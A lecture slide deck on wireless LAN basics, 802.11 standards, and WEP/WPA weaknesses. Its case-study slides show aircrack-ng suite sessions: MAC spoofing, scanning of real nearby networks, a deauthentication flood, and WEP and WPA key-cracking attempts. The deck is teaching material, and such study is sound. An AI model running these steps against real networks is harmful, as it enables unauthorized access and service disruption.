



Wireless Networks: Basics & Security Issues

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Agenda

1 General Information About Wireless Networks

- The Notion: A Wireless Network (WLAN)
- Wireless Networks in OSI Model
- A Quick Reminder: Radio Signal Propagation
- The Reason Why Wireless Networks are being Used?
- Components of Wireless Networks
- Modes of Wireless Networks Operations
- Standards of Wireless Networks

2 Wireless Network Security Issues

- Risks
- Current State of Art: Main Problems
- Cryptographic Approaches

3 Summarization, Feedbacks & Questions

The Notion: A Wireless Network (WLAN)

Definition: Wireless Network (WLAN)

A **Wireless Network** is a *local area network (LAN)* that enables two or more entities to communicate without network cabling, instead, by using *radio signals* and *propagations of them within already defined frequency ranges*.




Figure: A Wireless Network with Three Devices

Image Source: Building a Simple Network (by Intel)

Wireless Networks in OSI Model




Figure: WLAN and OSI

Image Source: 802.11 WLAN Packets and Protocols, WildPackets

A Quick Reminder: Radio Signal Propagation

Definition: Radio Wave

A **Radio wave** is a type of *electromagnetic radiation* with wavelengths in the electromagnetic spectrum longer than infrared which have *frequencies ranging from 300 GHz to as low as 3 kHz*, and corresponding *wavelengths ranging from 1 millimeter to 100 kilometer*.

Definition: Radio Signal

A **radio signal** is a *radio wave* that is used to transmit and receive information.

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Definition: Modulation

Modulation is the operation of adding information onto a *radio signal*.

Modulation Types

There are two main modulation techniques:

- ➊ **Analog Modulation:** An analog carrier signal is modulated within the scope of the signal to be transmitted via either its *amplitude* or *frequency* or else *no modulation is implemented at all*.
 - ▶ Frequency Modulation (FM).
 - ▶ Amplitude Modulation (AM).
- ➋ **Digital Modulation:** Discrete signals modulate a carrier analog signal by some shifting methodologies.
 - ▶ Frequency-shift keying (FSK).
 - ▶ Amplitude-shift keying (ASK).

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


Figure: Analog Modulation




Figure: Digital Modulation

a: CAS; b: DS; c: ASK; d:FSK

A Quick Reminder: Radio Signal Propagation

Signal Propagation: Key Points

- 1 The *amount of information* could be represented or transferred by an electromagnetic wave, is directly proportional to *its frequency difference* known as *bandwidth*.
- 2 The *propagation characteristics* of an electromagnetic wave is also determined by *its frequency*.
- 3 Therefore; there are three types of *signal propagation techniques*:
 - ▶ Propagation in Lowest Frequencies.
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Radio Signal Propagation: Typical Radio System




Figure: A Typical Radio System

Image Source: Radio Signal Propagation (by Breeze Wireless Communications Ltd.)

The Reason Why Wireless Networks are being Used?

Reasons for Wireless Network Usage

- 1 **Mobility:** *Information access beyond the desk.*
- 2 **Simplicity:** *Elimination of the needs for complex cabling and construction.*
- 3 **Flexibility:** *Being well suited for too many environments.*
- 4 **Accessibility:** *Being available at airports, hotels, coffee shops and convention centers are just a few places where hot-spot access.*

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Components of Wireless Networks




Figure: A Wireless Network

Modes of Wireless Networks Operations




Figure: Ad-Hoc WLAN Mode




Figure: Infrastructure WLAN Mode

WLAN Modes

Ad-Hoc Mode:

- ▶ No need for an **access point**.
- ▶ **Communication** in between the nodes is done **directly**.
- ▶ All nodes should have an **SSID** and a **channel**.

Infrastructure Mode:

- ▶ **Access point** is being used for local connections.
- ▶ All nodes should have an **SSID** and a **channel**.
- ▶ **Authentication** problem arises.

Standards of Wireless Networks




Figure: Wireless Standards

Image Source: Overview of IEEE Wireless Network Standards



Bluetooth[®]

Bluetooth

- ▶ *1994, Ericsson*
- ▶ *WPAN (wireless personal area network)*
- ▶ *Frequency: 2.4 GHz on ISM (International Scientific Medical) Band*
- ▶ *Data deployment speed: 24 Mbit/s*
- ▶ *Functionality Area: Inside the area of 10m dia. circle.*

WiFi (Wireless Fidelity): 802.11

802.11 Standards: WiFi Family

- ▶ *802.11a*
- ▶ *802.11b*
- ▶ *802.11g*
- ▶ *802.11n*



Figure: WiFi (Wireless Fidelity) Logo

802.11a

- ▶ 1999
- ▶ *WLAN (wireless local area network)*
- ▶ *Frequency: 5 GHz on ISM (International Scientific Medical) Band*
- ▶ *Data deployment speed: 23 - 54 Mbit/s*
- ▶ *Functionality Area: Inside the area of 13 - 100m dia. circle.*



Figure: WiFi (Wireless Fidelity) Logo

802.11b

- ▶ 1999
- ▶ WLAN (*wireless local area network*)
- ▶ Frequency: 2.4 - 2.5 GHz on ISM (*International Scientific Medical Band*)
- ▶ Data deployment speed: 4 - 11 Mbit/s
- ▶ Functionality Area: *Inside the area of 35 - 110m dia. circle.*



Figure: WiFi (Wireless Fidelity) Logo

802.11g

- ▶ 2003
- ▶ WLAN (*wireless local area network*)
- ▶ Frequency: 2.4 - 2.5 GHz on ISM (*International Scientific Medical Band*)
- ▶ Data deployment speed: 19 - 54 Mbit/s
- ▶ Functionality Area: *Inside the area of 35 - 110m dia. circle.*



Figure: WiFi (Wireless Fidelity) Logo

802.11n

- ▶ *2008*
- ▶ *WLAN (wireless local area network)*
- ▶ *Frequency: 2.4 or 5 GHz on ISM (International Scientific Medical) Band*
- ▶ *Data deployment speed: 74 - 248 Mbit/s*
- ▶ *Functionality Area: Inside the area of 70 - 200m dia. circle.*

Comparison: Wireless Standards

| Why Choose? A vs B vs G | | | |
|--------------------------------------|---|---|---|
| Wireless Technology Comparison Chart | | | |
| Wireless Standard | 802.11b | 802.11a | 802.11g |
| Popularity | Widely adopted. Readily available everywhere. | New technology. | New technology with rapid growth expected. |
| Speed | Up to 11Mbps (note: cable modem service typically averages no more than 4 to 5Mbps). | Up to 54Mbps (5X greater than 802.11b). | Up to 54Mbps (5X greater than 802.11b). |
| Relative Cost | Inexpensive. | Relatively more expensive. | Relatively inexpensive. |
| Frequency | 2.4 GHz More crowded 2.4GHz band. Some conflict may occur with other 2.4GHz devices like cordless phones, microwave ovens, etc. | 5 GHz Uncrowded 5GHz band can coexist with 2.4 GHz networks without interference. | 2.4 GHz More crowded 2.4GHz band. Some conflict may occur with other 2.4GHz devices like cordless phones, microwave ovens, etc. |
| Range | Good Range. Typically up to 100-150 feet indoors, depending on construction, building materials, room layout. | Shorter range than 802.11b & 802.11g. Typically 25 to 75 feet indoors. | Good Range. Typically up to 100-150 feet indoors, depending on construction, building materials, room layout. |
| Public Access | The number of public "hotspots" is growing rapidly, allowing wireless connectivity in many airports, hotels, college campuses, public areas, and restaurants. | None at this time. | Compatible with current 802.11b hotspots (at 11Mbps). Also, it is expected that most 802.11b hotspots will quickly convert to 802.11g. |
| Compatibility | Widest adoption. | Incompatible with 802.11b or 802.11g. | Interoperates with 802.11b networks (at 11Mbps). Incompatible with 802.11a. |

Figure: Comparison of Wireless Standards

WiFi Risks:

1 Security issues:

- ▶ *ease of detection (War-driving and War-chalking)*
- ▶ *ease of penetration into the network*
- ▶ *ease of sniffing the network traffic*

2 Physical issues:

- ▶ *noise in radio signals*
- ▶ *physical obstacles in between AP and hosts*

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War Driving:

War driving is the *process of seeking wireless networks inside an area (city center) by driving around together with necessary equipments*, such as:

- ▶ *Laptop or a portable device with a wireless card*
- ▶ *Wireless network detection software (Kismet, Netstumbler)*
- ▶ *GPS receiver (optional)*
- ▶ *Mapping Software (optional)*

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Be Aware: War-driving



Figure: War-driving



Figure: War-driving in Milano









War Chalking:

War-chalking is the *process of drawing some specific symbols*, on an already defined place, in order to demonstrate that *a wireless LAN network is performing* there; including:

- ▶ *the SSID*
- ▶ *the encryption standard of the network (Open, WEP, WPA)*
- ▶ *contact information (connection password) and*
- ▶ *bandwidth*

Be Aware: War-chalking

| let's warchalk..! | |
|-------------------|-------------------------------------|
| KEY | SYMBOL |
| OPEN NODE | ssid bandwidth |
| CLOSED NODE | ssid |
| WEP NODE | ssid access contact bandwidth |

| Proposed New Signs | |
|--|--|
|  Unrestricted access |  AP with MAC filtering |
|  Open access with restrictions |  Pay for access AP |
|  AP with WEP |  AP with multiple access controls (not for public use) |
|  AP with closed ESSID |  Honeytrap |

blackbeltjones.com/warchalking

Figure: War-chalking Symbols



Figure: War-chalking Example: London

Wireless Network Security Issues: Main Problems

Problems:

- 1 **Physical security of the transferred data is not provided.** *Since the transmission environment is the air.*
- 2 *An obligation for using cryptographic protocols.*

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Security Protocols:

Due to being *on-line working systems* (wireless LAN communications) **stream ciphers** are being used to *encrypt* and *decrypt* the data transferred (in between AP and hosts) and they are involved in some **security protocols**, such as:

- 1 WEP (Wired Equivalent Privacy)
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Cryptographic Approach: The WEP

Definition: What is WEP?

WEP is a security protocol which is involved in wireless networks to:

- ▶ *avoid unauthorized access and*
- ▶ *provide access control, data integrity and confidentiality against criminal minds in order to ensure that:*
 - ▶ *your access point is not used by unauthorized users.*
 - ▶ *your data is not modified.*
 - ▶ *contents of your traffic are kept secure.*

Versions of WEP

- 1 Key Length: 40 bits (*weak key*)
- 2 Key Length: 128 bits (*strong key*)
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The WEP Steps: Shared Key Authentication




Figure: WEP Authentication Scheme

Image Source: [Wireless Networking Basics by NETGEAR Inc.](#)

The WEP Steps: Encryption




Figure: WEP Encryption Scheme

Image: FSU, Network Security PROTOCOLS Group by İlkyay Çubukçu

The WEP Steps: Decryption




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The WEP: Vulnerabilities

Vulnerabilities: WEP

- 1 **Vulnerable Authentication Scheme:** *An attacker who is able to monitor the network traffic exactly during an arbitrary authentication to the WLAN, could easily calculate key stream used to encrypt the response and authenticate to the wireless network.*

$$\text{Cipher Text} \oplus \text{Plain Text} = \text{Key Stream}$$

- 2 **A Small Number of Initialization Vectors:**
 - ▶ 24 bit of IVs: 16,777,216 possible combination.
 - ▶ It is possible to capture a modest number of messages encrypted with the same key stream (IV reuse).
 - ▶ $C_1 = P_1 \oplus RC4(k, IV_1)$ and $C_2 = P_2 \oplus RC4(k, IV_2)$ where $IV_1 = IV_2$
 - ▶ $C_1 \oplus C_2 = P_1 \oplus P_2$
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Passive Attacks via Network Sniffing!!!

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Passive Attacks via Network Sniffing!!!

A Case Study: Airmon + Airodump + Aircrack

```
root@burakekici: ~
File Edit View Search Terminal Help
root@burakekici:~# ifconfig wlan0 down
root@burakekici:~# macchanger --mac 00:11:22:33:44:55 wlan0
Current MAC: 00:22:fa:03:06:5c (unknown)
Faked MAC: 00:11:22:33:44:55 (Cimsys Inc)
root@burakekici:~# airmon-ng start wlan0

Found 4 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID      Name
1012     NetworkManager
1027     avahi-daemon
1035     avahi-daemon
1137     wpa_supplicant

Interface      Chipset      Driver
wlan0          Intel 4965/5xxx iwlagnd - [phy0]
                (monitor mode enabled on mon0)

root@burakekici:~#
```

Figure: Phase 1: MAC Changing + Airmon

A Case Study: Airmon + Airodump + Aircrack

```
root@burakekici: ~
File Edit View Search Terminal Help

CH 9 ]] Elapsed: 2 mins ]] 2012-04-18 16:58

BSSID          PWR  Beacons  #Data, #/s  CH  MB  ENC  CIPHER AUTH  ESSID
00:1C:A8:90:7E:3D -1    0         5  0 108 -1  WPA          <length:
00:1C:A8:95:D5:31 -76   183        0  0 11 54  WPA2 CCMP   PSK  Ekici
00:1E:40:65:1E:35 -76   235        0  0 11 54  WPA TKIP    PSK  as
00:25:12:BD:06:FD -81   162        0  0 1 54  WPA2 TKIP   PSK  argon
00:1C:A8:96:4B:2A -79    53         0  0 11 54e. WPA2 CCMP   PSK  zeynep N
4C:ED:DE:80:2E:69 -80   124        0  0 1 54e. WPA TKIP    PSK  Huawei HG N
00:1A:2A:84:FC:05 -82   108        6  0 11 54  WPA TKIP    PSK  tuncayoztu
00:1E:40:37:FB:16 -82   126        0  0 11 54  WPA2 CCMP   PSK  Pikatel
00:1A:2A:82:A3:CE -81    91         0  0 11 54  WPA TKIP    PSK  AIRTIES
00:13:A3:79:22:9D -82    68         0  0 11 54  WPA TKIP    PSK  speedstrea
00:12:BF:D9:61:22 -84    92         0  0 11 54  WPA TKIP    PSK  AIRTIES_RT
00:1F:1F:D0:83:31 -84   206        0  0 6 54e. WPA2 CCMP   PSK  edimax_0
C8:D5:FE:24:97:DB -85   103        0  0 1 54e. WPA TKIP    PSK  Huawei HG5
00:12:BF:FE:42:67 -85    88        26  0 6 54  WPA TKIP    PSK  yener_elek
00:23:F8:B1:4D:93 -87    27         5  0 6 54  WPA2 CCMP   PSK  NnNn
00:1C:A8:68:BB:F8 -87    38         0  0 11 54  WPA TKIP    PSK  AIRTIES_RT
00:1C:A8:FE:AC:3A -87    29         0  0 6 54  WEP  WEP      cardak
00:23:F8:B9:7A:F2 -87    37        22  0 6 54  WPA2 CCMP   PSK  yasemin
00:1C:A8:F6:80:0F -87    1         1  0 6 54e. WPA2 CCMP   PSK  Sn67auu786
00:1C:A8:15:2A:58 -88    25         3  0 11 54  WPA TKIP    PSK  yucel
00:1E:40:5F:9E:92 -88    2         0  0 11 54  WPA2 TKIP    PSK  esmeli
00:1D:19:10:8A:FC -88    25         0  0 11 54  OPN          <length: 1
18:28:61:1C:35:61 -107   80        156 0 6 54e. WPA2 CCMP   PSK  SUPERONLIN
00:1C:A8:19:9F:04 -84    33         0  0 11 54  WPA TKIP    PSK  Fat35
18:28:61:04:40:80 -1     0         1  0 133 -1  WPA          <length: N
14:DA:E9:7F:48:04 -87    26         0  0 1 54e. WEP  WEP      EOS COMPUTN
00:02:CF:9F:93:D2 -88    2         0  0 6 54  WPA TKIP    PSK  ZyXEL
14:DA:E9:7F:48:05 -87    27         0  0 1 54e. WEP  WEP      EOS COMPUT
00:1E:40:D9:17:8F -85    42         0  0 11 54  WPA TKIP    PSK  ozge
```

Figure: Phase 2: Airodump (for all wireless networks)

A Case Study: Airmon + Airodump + Aircrack

```
root@burakekici: ~  
File Edit View Search Terminal Help  
CH 1 ][ Elapsed: 4 mins ][ 2012-04-18 17:11 ][ fixed channel wlan0: 11  
BSSID          PWR RXQ Beacons  #Data, #/s CH MB  ENC  CIPHER AUTH  ESSID  
14:DA:E9:7F:48:05 -87 38   1771    105  0   1 54e WEP  WEP      EOS CO  
BSSID          STATION          PWR  Rate  Lost  Packets  Probes  
14:DA:E9:7F:48:05 00:C0:49:F7:36:F0 -1   1 - 0    0      8
```

Figure: Phase 3: Airodump (for a specific wireless network)

A Case Study: Airmon + Airodump + Aircrack

```
root@burakekici: ~
File Edit View Search Terminal Help
root@burakekici:~# aircrack-ng FILE-03.cap
Opening FILE-03.cap
Read 7325 packets.

# BSSID            ESSID            Encryption
1 14:DA:E9:7F:48:05 E0S COMPUTER     WEP (614 IVs)

Choosing first network as target.

Opening FILE-03.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 614 ivs.

                                Aircrack-ng 1.1

                                [00:00:04] Tested 127297 keys (got 614 IVs)

KB   depth  byte(vote)
0    50/ 63  E4(1024) 00( 768) 02( 768) 0F( 768) 10( 768)
1    26/  1  E4(1280) 15(1024) 18(1024) 2D(1024) 3E(1024)
2     0/  4  35(2016) 07(2048) 0D(2048) 0F(2048) 27(1792)
3     5/ 20  B8(1536) 01(1280) 03(1280) 0F(1280) 13(1280)
4     7/  4  EC(1536) 0A(1280) 0E(1280) 36(1280) 44(1280)

Failed. Next try with 5000 IVs.
█
```

Figure: Phase 4: Aircrack

Cryptographic Approach: The WPA

Definition: What is WPA?

WPA is another wireless **security protocol** which generally aims to *close the vulnerabilities of WEP* with *48-bit initialization vector* and a *128-bit encryption keys*.

Versions of WPA

- 1 WPA
- 2 WPA2

WPA Authentication Schemes: Both in WPA and WPA2

1 WPA-PSK (Pre-Shared Key) Authentication:

- ▶ performs *the same authentication steps with WEP authentication*. All clients use *the same initial master key but different per-packet keys*.

2 WPA-EAP (Extensible Authentication Protocol):

- ▶ *usage of certificates*
- ▶ *RADIUS server is used for authentication and key distribution*

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The WPA: Authentication




Figure: WPA-EAP Authentication Scheme

The WPA: Encryption & Decryption

WPA Encryption & Decryption Schemes

WPA: *TKIP (temporal key integrity protocol): RC4 + 4 algorithms:*

- ① *Message Integrity Code (MIC)*
 - ▶ *tagging function (64-bit secret aut. key, msg): message integrity code*
- ② *IV sequencing discipline*
 - ▶ *packet sequencing numbers (represented by IVs) are performing the synchronization between sender and receiver*
- ③ *Re-keying Mechanism*
 - ▶ *Temporal keys*
 - ▶ *Key encryption keys*
 - ▶ *Master Keys*
- ④ *Per-Packet Key Mixing Function*
 - ▶ *an intermediate key is created by combining the use of S-boxes and the client's MAC address*
 - ▶ *the packet sequence number is encrypted with a small cipher using the intermediate key*

TKIP Design




Figure: TKIP: Per Packet Key Mixing

Vulnerabilities: WPA

- ① **Vulnerable Authentication Scheme:** *An attacker who is able to monitor the network traffic exactly during an arbitrary authentication to the WLAN, could easily calculate key stream used to encrypt the response and authenticate to the wireless network.*

The Handshake!

Known Issues:

- ▶ Plain Text (Challenge Text)
- ▶ Cipher Text
- ▶ Therefore: Per-Packet Key

Unknown Issue:

- ▶ Base Key

Dictionary Based Attacks!

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- ▶ Cipher Text
- ▶ Therefore: Per-Packet Key

Unknown Issue:

- ▶ Base Key

Dictionary Based Attacks!

A Case Study: Airmon + Airodump

```
root@burakekici: ~  
File Edit View Search Terminal Help  
CH 11 ][ Elapsed: 1 min ][ 2012-04-18 17:48  
BSSID          PWR RXQ Beacons  #Data, #/s CH MB  ENC  CIPHER AUTH ESSI  
00:1E:40:65:1E:35 -76 92    703      68  0 11 54  WPA  TKIP  PSK  as  
BSSID          STATION          PWR  Rate  Lost  Packets  Probes  
00:1E:40:65:1E:35 00:1F:3A:67:94:52 -72  0 - 1    0     26  
00:1E:40:65:1E:35 00:1A:73:9B:93:2A -75  1 -54    6     10
```

Figure: Phase 2: Airodump (for a specific wireless network without handshake)

A Case Study: Airmon + Airodump

```
root@burakekici: ~
File Edit View Search Terminal Help
17:44:29 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 1] 0 ACKs]
17:44:29 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 1] 0 ACKs]
17:44:30 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 2] 4 ACKs]
17:44:30 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 1] 0 ACKs]
17:44:31 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 0 ACKs]
17:44:32 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 0 ACKs]
17:44:32 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 0 ACKs]
17:44:32 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 0 ACKs]
17:44:33 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 0 ACKs]
17:44:34 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 0 ACKs]
17:44:34 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 0 ACKs]
17:44:35 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 7] 0 ACKs]
17:44:35 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 1 ACKs]
17:44:36 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 0 ACKs]
17:44:36 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 0 ACKs]
17:44:37 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [15] 8 ACKs]
17:44:38 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 8] 19 ACKs]
17:44:38 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [10] 7 ACKs]
17:44:38 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 1 ACKs]
17:44:39 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 1] 0 ACKs]
17:44:40 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 6] 0 ACKs]
17:44:40 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 0 ACKs]
17:44:41 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 0 ACKs]
17:44:41 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 0 ACKs]
17:44:42 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [14] 7 ACKs]
17:44:42 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 0 ACKs]
17:44:43 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 0 ACKs]
17:44:44 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 1] 1 ACKs]
17:44:44 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 1 ACKs]
17:44:45 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 0 ACKs]
17:44:45 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 0 ACKs]
17:44:46 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 0 ACKs]
17:44:46 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 0 ACKs]
17:44:47 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 0] 0 ACKs]
17:44:48 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 4] 13 ACKs]
17:44:48 Sending 64 directed DeAuth. STMAC: [00:1A:73:9B:93:2A] [ 4] 8 ACKs]
```


Figure: Phase 3: Aireplay (to implement death attack)

A Case Study: Airmon + Airodump

```
root@burakekici: ~  
File Edit View Search Terminal Help  
CH 11 ][ Elapsed: 9 mins ][ 2012-04-18 17:44 ][ WPA handshake: 00:1E:40:65:1E:35  
BSSID          PWR RXQ Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSI  
00:1E:40:65:1E:35 -75 96 5196 2705 0 11 54 WPA TKIP PSK as  
BSSID          STATION          PWR Rate Lost Packets Probes  
00:1E:40:65:1E:35 00:1F:3A:67:94:52 -69 0 - 1 0 232  
00:1E:40:65:1E:35 00:1A:73:9B:93:2A -74 1 -54 31 2322  
00:1E:40:65:1E:35 00:1F:1F:38:74:32 -77 1 - 1 0 50
```

Figure: Phase 4: Airodump (for a specific wireless network with handshake)

A Case Study: Airmon + Airodump



```
root@burakekici: ~  
File Edit View Search Terminal Help  
root@burakekici:~# aircrack-ng FILEWPA-01.cap -w dic.txt  
Opening FILEWPA-01.cap  
Read 117644 packets.  


| # | BSSID             | ESSID | Encryption        |
|---|-------------------|-------|-------------------|
| 1 | 00:1E:40:65:1E:35 | as    | WPA (1 handshake) |

  
Choosing first network as target.  
Opening FILEWPA-01.cap  
Reading packets, please wait...  
  
Aircrack-ng 1.1  
Passphrase not in dictionary  
  
Quitting aircrack-ng...  
root@burakekici:~#
```

Figure: Phase 5: Aircrack Dictionary Attack

The WPA: Encryption & Decryption

WPA Encryption & Decryption Schemes

WPA2: *Instead of TKIP; CCMP (Counter Mode with Cipher Block Chaining Message Authentication Code Protocol), a new AES-based encryption/decryption mode with strong security is used.*

- ▶ *The most secure one for the current state of art.*
- ▶ *To be able to use it; your access point hardware **should have the special support.***

General Precautions Should be Taken

General Precautions in Wireless Networking

- ▶ *SSID hiding (although it could be seen)*
- ▶ *MAC based access control (although MAC duplication could be done)*
- ▶ *Usage of Security Protocols (WPA2/WPA/WEP)*
- ▶ *Usage of more complex systems like AIRDEFENSE, if your transferred data are critical*

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Summarization:

- 1 *The notion: WLANs*
- 2 *Radio Signal Propagation*
- 3 *Components of WLANs*
- 4 *Modes of WLANs*
- 5 *WLAN security issues*
 - ▶ *Risks*
 - ▶ *Awareness: Wardriving and Warchalking*
 - ▶ *Cryptographic Approaches: WEP & WPA*
- 6 *General Precautions Should be Taken*

Feedback

Contact Information

Çok Teşekkürler!

Efcharistó Polý!

Muito Obrigado!

Danke Schön!

Bedankt!

Labai Ačiu!

Thanks a Lot!

Burak Ekici

ekcburak@hotmail.com

Feedback

Bugs, Comments, Suggestions and Questions

Please let me know, if you have;

- ▶ seen any **Bugs** in the presentation.

Please share, if you have;

- ▶ any **Comments** and **Suggestions**.

QUESTIONS?

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QUESTIONS?

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Demian Machta

Securing WLAN: From WEP to WPA.